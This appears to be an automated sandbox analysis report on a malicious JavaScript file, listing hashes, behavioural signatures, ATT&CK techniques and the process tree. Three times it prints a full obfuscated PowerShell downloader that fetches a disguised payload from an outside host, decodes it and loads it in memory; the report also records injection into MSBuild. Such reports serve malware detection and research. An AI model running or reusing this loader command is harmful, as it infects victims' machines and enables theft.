Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/09/2026, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
task.js
Resource
win10v2004-20260513-en
11 signatures
150 seconds
General
- Target task.js
- Size 287KB
- Sample260904-ppqcdafe47
- SHA256 c92bf5e0c31662ae68e0cdaecd29782ec91b870bfc655c87bfa9c9d2aaa4e7a5
- MD5 e3af4ceefca62a6751b3bcab0a0a2b21
- SHA1 8c0224ee2dadcd66e29f851bfeaf16affd2dc7a4
- SHA512 b24bdf4e151f1b7950c2a9b674727661f2ee41da320b3a99ba7b0e705e0d2be70efd34a19a5f137c33d01a7ab486045a8d12f2d1a12bb8467b5f0fef1162d9d4
- SSDEEP 768:1LkQb0DxQJ6Q8C8bzx9mJYoFzQ4Jv4oXrnTvZsh+lsFDTcBTitmDSABKn17XAwQo:ihT1ORjlETcBTitmDSABKn17Y5d7AlB
- TLSH T1CF544409C4AD1011E177B288171A416DCF5C8BB7444A574BBBBEC9E2CF6410F2DA7FAA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Language
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ps1
Deobfuscated
Source
URLs
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ps1.dropper
http://archivoscrosoft.com/MSI.png
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exe.dropper
http://archivoscrosoft.com/MSI.png
Signatures
- Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3244 4432 powershell.exe 89 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2768 4432 powershell.exe 89 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3776 4432 powershell.exe 89 - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 3244 powershell.exe 6 2768 powershell.exe 7 3776 powershell.exe 10 3244 powershell.exe 11 3776 powershell.exe 13 2768 powershell.exe - .NET Reactor proctector 64 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
resource yara_rule behavioral2/memory/2996-52-0x00000000051C0000-0x0000000005228000-memory.dmp net_reactor behavioral2/memory/2996-95-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/5812-255-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-251-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-241-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-239-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-237-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-233-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-223-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-221-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-219-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-217-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/2996-173-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-170-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-169-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-166-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-162-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-160-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-154-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-152-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-150-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-146-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-142-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-141-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/5812-254-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-249-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-248-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-245-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-244-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-235-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-231-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-228-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-229-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-225-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-215-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-213-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-211-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-97-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-93-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-90-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-88-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-87-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-84-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-80-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-68-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/2996-174-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-165-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-158-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-156-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/5812-58-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/2996-148-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-144-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/2996-92-0x00000000051C0000-0x000000000524D000-memory.dmp net_reactor behavioral2/memory/5812-82-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-78-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-76-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-74-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-72-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-70-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-66-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-64-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-62-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-60-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor behavioral2/memory/5812-56-0x0000000005900000-0x000000000598D000-memory.dmp net_reactor -
pid Process 3244 powershell.exe 2768 powershell.exe 3776 powershell.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 3244 set thread context of 2996 3244 powershell.exe 99 PID 3776 set thread context of 5812 3776 powershell.exe 102 PID 2768 set thread context of 6292 2768 powershell.exe 106 PID 2996 set thread context of 6248 2996 MSBuild.exe 104 PID 5812 set thread context of 6272 5812 MSBuild.exe 105 PID 6292 set thread context of 2352 6292 MSBuild.exe 107 - Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe - Suspicious behavior: EnumeratesProcesses 27 IoCs
pid Process 2768 powershell.exe 3244 powershell.exe 3776 powershell.exe 2768 powershell.exe 3244 powershell.exe 3244 powershell.exe 3776 powershell.exe 3776 powershell.exe 3244 powershell.exe 3244 powershell.exe 3244 powershell.exe 3244 powershell.exe 3244 powershell.exe 3244 powershell.exe 3776 powershell.exe 3776 powershell.exe 3776 powershell.exe 3776 powershell.exe 5812 MSBuild.exe 5812 MSBuild.exe 2996 MSBuild.exe 2996 MSBuild.exe 5812 MSBuild.exe 2996 MSBuild.exe 6292 MSBuild.exe 6292 MSBuild.exe 6292 MSBuild.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2768 powershell.exe Token: SeDebugPrivilege 3244 powershell.exe Token: SeDebugPrivilege 3776 powershell.exe Token: SeDebugPrivilege 2996 MSBuild.exe Token: SeDebugPrivilege 5812 MSBuild.exe Token: SeDebugPrivilege 6292 MSBuild.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 6272 AddInProcess32.exe - Suspicious use of WriteProcessMemory 41 IoCs
description pid Process procid_target PID 3244 wrote to memory of 1788 3244 powershell.exe 96 PID 3244 wrote to memory of 2164 3244 powershell.exe 97 PID 3244 wrote to memory of 1216 3244 powershell.exe 98 PID 3244 wrote to memory of 2996 3244 powershell.exe 99 PID 3244 wrote to memory of 2996 3244 powershell.exe 99 PID 3244 wrote to memory of 2996 3244 powershell.exe 99 PID 3244 wrote to memory of 2996 3244 powershell.exe 99 PID 3244 wrote to memory of 2996 3244 powershell.exe 99 PID 3776 wrote to memory of 5092 3776 powershell.exe 100 PID 3776 wrote to memory of 2516 3776 powershell.exe 101 PID 3776 wrote to memory of 5812 3776 powershell.exe 102 PID 3776 wrote to memory of 5812 3776 powershell.exe 102 PID 3776 wrote to memory of 5812 3776 powershell.exe 102 PID 3776 wrote to memory of 5812 3776 powershell.exe 102 PID 3776 wrote to memory of 5812 3776 powershell.exe 102 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 2996 wrote to memory of 6248 2996 MSBuild.exe 104 PID 5812 wrote to memory of 6272 5812 MSBuild.exe 105 PID 2768 wrote to memory of 6292 2768 powershell.exe 106 PID 2768 wrote to memory of 6292 2768 powershell.exe 106 PID 2768 wrote to memory of 6292 2768 powershell.exe 106 PID 2768 wrote to memory of 6292 2768 powershell.exe 106 PID 2768 wrote to memory of 6292 2768 powershell.exe 106 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107 PID 6292 wrote to memory of 2352 6292 MSBuild.exe 107
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\task.js1⤵PID:636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $skully = ''http://archivoscrosoft.com/MSI.png''; Add-Type -AssemblyName System.Net.Http; $whelmed = New-Object System.Net.CookieContainer; $biosyntheses = New-Object System.Net.Http.HttpClientHandler; $biosyntheses.AllowAutoRedirect = $true; $biosyntheses.CookieContainer = $whelmed; $court = New-Object System.Net.Http.HttpClient($biosyntheses); $court.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $nucleates = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $skully); $periphrase = $court.SendAsync($nucleates).GetAwaiter().GetResult(); $octopodan = $periphrase.Content.Headers.ContentLength; if ($null -eq $octopodan) { $octopodan = 5000000; } $discerptive = [Math]::Min($octopodan, 3000000); $flipflopped = [Math]::Max(0, $octopodan - $discerptive); $exhumer = $octopodan - 1; $unconformably = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $skully); $unconformably.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($flipflopped, $exhumer); $decentralized = $court.SendAsync($unconformably).GetAwaiter().GetResult(); [byte[]]$Batten = $decentralized.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $senses = [System.Text.Encoding]::ASCII.GetString($Batten); } catch { $prickmadam = (New-Object System.Net.WebClient).DownloadString($skully); $senses = $prickmadam; } $valeting=''IN-''; $virger=''-in1''; $unpoliteness = [string]::IndexOf($senses, $valeting); $jerseys = $senses.LastIndexOf($virger); if($unpoliteness -eq -1 -or $jerseys -eq -1){return}; $constituently = $unpoliteness + $valeting.Length; $besmocked = $senses.Substring($senses.IndexOf($valeting) + $valeting.Length, $jerseys - ($senses.IndexOf($valeting) + $valeting.Length)); $galliardness = $besmocked.Replace(''*'',''A'').ToCharArray(); $metatitanic = -join $galliardness[($galliardness.Length - 1)..0]; $caseates = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$incardinate = $caseates.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$metatitanic)); $fiveling = [AppDomain]::(''CurrentDomain''); $annexary = $fiveling.GetType().GetMethod(''Load'', [byte[]]); $tiebacks = $annexary.Invoke($fiveling, (,$incardinate)); $grotty = (''A4ERwThEkIOdhu6VoGnHVeK+KCF8mu8jqNEP9Y0FqLI1iHpYJew6I+eBHopvQ3RFFZ+E1u54i+JyTsEuccFYJg=='','''',''wAefuU8XX0YSGVrGX231YX1XAx3N2KY1rZ9pqXSa/1Gzz39LmiACmh553xsBwg8r'',''p0FJqqyZ2uYSXIGRH0iF7InqCzRu1wabw5MjZqGDCNM='',''NBSP6KO90ihCA52tZjqObWY3Do3jW/oLbaJ9MKEv7ng='',''ssC0HOtzUbgpDI9l4jQ84qXvNZAu6ZoGFAMfbwqCmFw='',''hZ7OZdjz9Vw4k4Zco5AMEuivcMWLT5l8bb6uB2Tr5wg='','''',''E9+2j/I4OrYlrPFsUBtf2FRw2+wq+b/nYw37kG+m2rF7HHekFTEUAIZFmME1IlAj2idjUsCEJig8vGM7Q+ZRWg=='',''WdYaPoFMaHtlweCfA+kbPUTLppUzLzcDkq/A7NHIlKnXZsj4UCTP+O8DgAFqa9AV'',''TSWfma4TErUk4k2PpXacupxrqn8yEnzRkHcmoD308n0='',''rXhawi+TVeR6tR1qIWlpEe+eUEFJQ5Pdy7S83zp9u/8='',''srGXeS1MRJSNy5JRjdeMTvc0vkvC0pnVeCWc3tIavZM='','''',''UMINOecKdk0UKTQP9FuthTES0bF6k62OQqxEuJz8lQc='',''RLRPTyGgXRL0ghqSPFwUU2rClb2S5mi7czUAaJ6zrqE='','''','''',''''); try { $silex = ($tiebacks.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $exceptive = ($silex.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $exceptive.Invoke($null, [object[]]$grotty); } catch {} finally { if ($null -ne $court) { $court.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:1788
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:2164
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:1216
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵PID:6248
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $skully = ''http://archivoscrosoft.com/MSI.png''; Add-Type -AssemblyName System.Net.Http; $whelmed = New-Object System.Net.CookieContainer; $biosyntheses = New-Object System.Net.Http.HttpClientHandler; $biosyntheses.AllowAutoRedirect = $true; $biosyntheses.CookieContainer = $whelmed; $court = New-Object System.Net.Http.HttpClient($biosyntheses); $court.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $nucleates = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $skully); $periphrase = $court.SendAsync($nucleates).GetAwaiter().GetResult(); $octopodan = $periphrase.Content.Headers.ContentLength; if ($null -eq $octopodan) { $octopodan = 5000000; } $discerptive = [Math]::Min($octopodan, 3000000); $flipflopped = [Math]::Max(0, $octopodan - $discerptive); $exhumer = $octopodan - 1; $unconformably = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $skully); $unconformably.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($flipflopped, $exhumer); $decentralized = $court.SendAsync($unconformably).GetAwaiter().GetResult(); [byte[]]$Batten = $decentralized.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $senses = [System.Text.Encoding]::ASCII.GetString($Batten); } catch { $prickmadam = (New-Object System.Net.WebClient).DownloadString($skully); $senses = $prickmadam; } $valeting=''IN-''; $virger=''-in1''; $unpoliteness = [string]::IndexOf($senses, $valeting); $jerseys = $senses.LastIndexOf($virger); if($unpoliteness -eq -1 -or $jerseys -eq -1){return}; $constituently = $unpoliteness + $valeting.Length; $besmocked = $senses.Substring($senses.IndexOf($valeting) + $valeting.Length, $jerseys - ($senses.IndexOf($valeting) + $valeting.Length)); $galliardness = $besmocked.Replace(''*'',''A'').ToCharArray(); $metatitanic = -join $galliardness[($galliardness.Length - 1)..0]; $caseates = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$incardinate = $caseates.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$metatitanic)); $fiveling = [AppDomain]::(''CurrentDomain''); $annexary = $fiveling.GetType().GetMethod(''Load'', [byte[]]); $tiebacks = $annexary.Invoke($fiveling, (,$incardinate)); $grotty = (''A4ERwThEkIOdhu6VoGnHVeK+KCF8mu8jqNEP9Y0FqLI1iHpYJew6I+eBHopvQ3RFFZ+E1u54i+JyTsEuccFYJg=='','''',''wAefuU8XX0YSGVrGX231YX1XAx3N2KY1rZ9pqXSa/1Gzz39LmiACmh553xsBwg8r'',''p0FJqqyZ2uYSXIGRH0iF7InqCzRu1wabw5MjZqGDCNM='',''NBSP6KO90ihCA52tZjqObWY3Do3jW/oLbaJ9MKEv7ng='',''ssC0HOtzUbgpDI9l4jQ84qXvNZAu6ZoGFAMfbwqCmFw='',''hZ7OZdjz9Vw4k4Zco5AMEuivcMWLT5l8bb6uB2Tr5wg='','''',''E9+2j/I4OrYlrPFsUBtf2FRw2+wq+b/nYw37kG+m2rF7HHekFTEUAIZFmME1IlAj2idjUsCEJig8vGM7Q+ZRWg=='',''WdYaPoFMaHtlweCfA+kbPUTLppUzLzcDkq/A7NHIlKnXZsj4UCTP+O8DgAFqa9AV'',''TSWfma4TErUk4k2PpXacupxrqn8yEnzRkHcmoD308n0='',''rXhawi+TVeR6tR1qIWlpEe+eUEFJQ5Pdy7S83zp9u/8='',''srGXeS1MRJSNy5JRjdeMTvc0vkvC0pnVeCWc3tIavZM='','''',''UMINOecKdk0UKTQP9FuthTES0bF6k62OQqxEuJz8lQc='',''RLRPTyGgXRL0ghqSPFwUU2rClb2S5mi7czUAaJ6zrqE='','''','''',''''); try { $silex = ($tiebacks.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $exceptive = ($silex.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $exceptive.Invoke($null, [object[]]$grotty); } catch {} finally { if ($null -ne $court) { $court.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6292 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵PID:2352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $skully = ''http://archivoscrosoft.com/MSI.png''; Add-Type -AssemblyName System.Net.Http; $whelmed = New-Object System.Net.CookieContainer; $biosyntheses = New-Object System.Net.Http.HttpClientHandler; $biosyntheses.AllowAutoRedirect = $true; $biosyntheses.CookieContainer = $whelmed; $court = New-Object System.Net.Http.HttpClient($biosyntheses); $court.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $nucleates = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $skully); $periphrase = $court.SendAsync($nucleates).GetAwaiter().GetResult(); $octopodan = $periphrase.Content.Headers.ContentLength; if ($null -eq $octopodan) { $octopodan = 5000000; } $discerptive = [Math]::Min($octopodan, 3000000); $flipflopped = [Math]::Max(0, $octopodan - $discerptive); $exhumer = $octopodan - 1; $unconformably = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $skully); $unconformably.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($flipflopped, $exhumer); $decentralized = $court.SendAsync($unconformably).GetAwaiter().GetResult(); [byte[]]$Batten = $decentralized.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $senses = [System.Text.Encoding]::ASCII.GetString($Batten); } catch { $prickmadam = (New-Object System.Net.WebClient).DownloadString($skully); $senses = $prickmadam; } $valeting=''IN-''; $virger=''-in1''; $unpoliteness = [string]::IndexOf($senses, $valeting); $jerseys = $senses.LastIndexOf($virger); if($unpoliteness -eq -1 -or $jerseys -eq -1){return}; $constituently = $unpoliteness + $valeting.Length; $besmocked = $senses.Substring($senses.IndexOf($valeting) + $valeting.Length, $jerseys - ($senses.IndexOf($valeting) + $valeting.Length)); $galliardness = $besmocked.Replace(''*'',''A'').ToCharArray(); $metatitanic = -join $galliardness[($galliardness.Length - 1)..0]; $caseates = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$incardinate = $caseates.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$metatitanic)); $fiveling = [AppDomain]::(''CurrentDomain''); $annexary = $fiveling.GetType().GetMethod(''Load'', [byte[]]); $tiebacks = $annexary.Invoke($fiveling, (,$incardinate)); $grotty = (''A4ERwThEkIOdhu6VoGnHVeK+KCF8mu8jqNEP9Y0FqLI1iHpYJew6I+eBHopvQ3RFFZ+E1u54i+JyTsEuccFYJg=='','''',''wAefuU8XX0YSGVrGX231YX1XAx3N2KY1rZ9pqXSa/1Gzz39LmiACmh553xsBwg8r'',''p0FJqqyZ2uYSXIGRH0iF7InqCzRu1wabw5MjZqGDCNM='',''NBSP6KO90ihCA52tZjqObWY3Do3jW/oLbaJ9MKEv7ng='',''ssC0HOtzUbgpDI9l4jQ84qXvNZAu6ZoGFAMfbwqCmFw='',''hZ7OZdjz9Vw4k4Zco5AMEuivcMWLT5l8bb6uB2Tr5wg='','''',''E9+2j/I4OrYlrPFsUBtf2FRw2+wq+b/nYw37kG+m2rF7HHekFTEUAIZFmME1IlAj2idjUsCEJig8vGM7Q+ZRWg=='',''WdYaPoFMaHtlweCfA+kbPUTLppUzLzcDkq/A7NHIlKnXZsj4UCTP+O8DgAFqa9AV'',''TSWfma4TErUk4k2PpXacupxrqn8yEnzRkHcmoD308n0='',''rXhawi+TVeR6tR1qIWlpEe+eUEFJQ5Pdy7S83zp9u/8='',''srGXeS1MRJSNy5JRjdeMTvc0vkvC0pnVeCWc3tIavZM='','''',''UMINOecKdk0UKTQP9FuthTES0bF6k62OQqxEuJz8lQc='',''RLRPTyGgXRL0ghqSPFwUU2rClb2S5mi7czUAaJ6zrqE='','''','''',''''); try { $silex = ($tiebacks.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $exceptive = ($silex.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $exceptive.Invoke($null, [object[]]$grotty); } catch {} finally { if ($null -ne $court) { $court.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3776 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:5092
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:2516
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5812 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:6272
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
- MD5 b65d38126d60f6776d0fee761697a8ab
- SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
- SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
- TLSH T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 25bbad6d1e6656e071344ec636060802ca86ee08c875bef3e33f7314acc90aa1
- MD5 72e9f1f7c54d2587e96e2dd74442f3bd
- SHA1 836c6de720f0c1874f5c60485de649a669f8af81
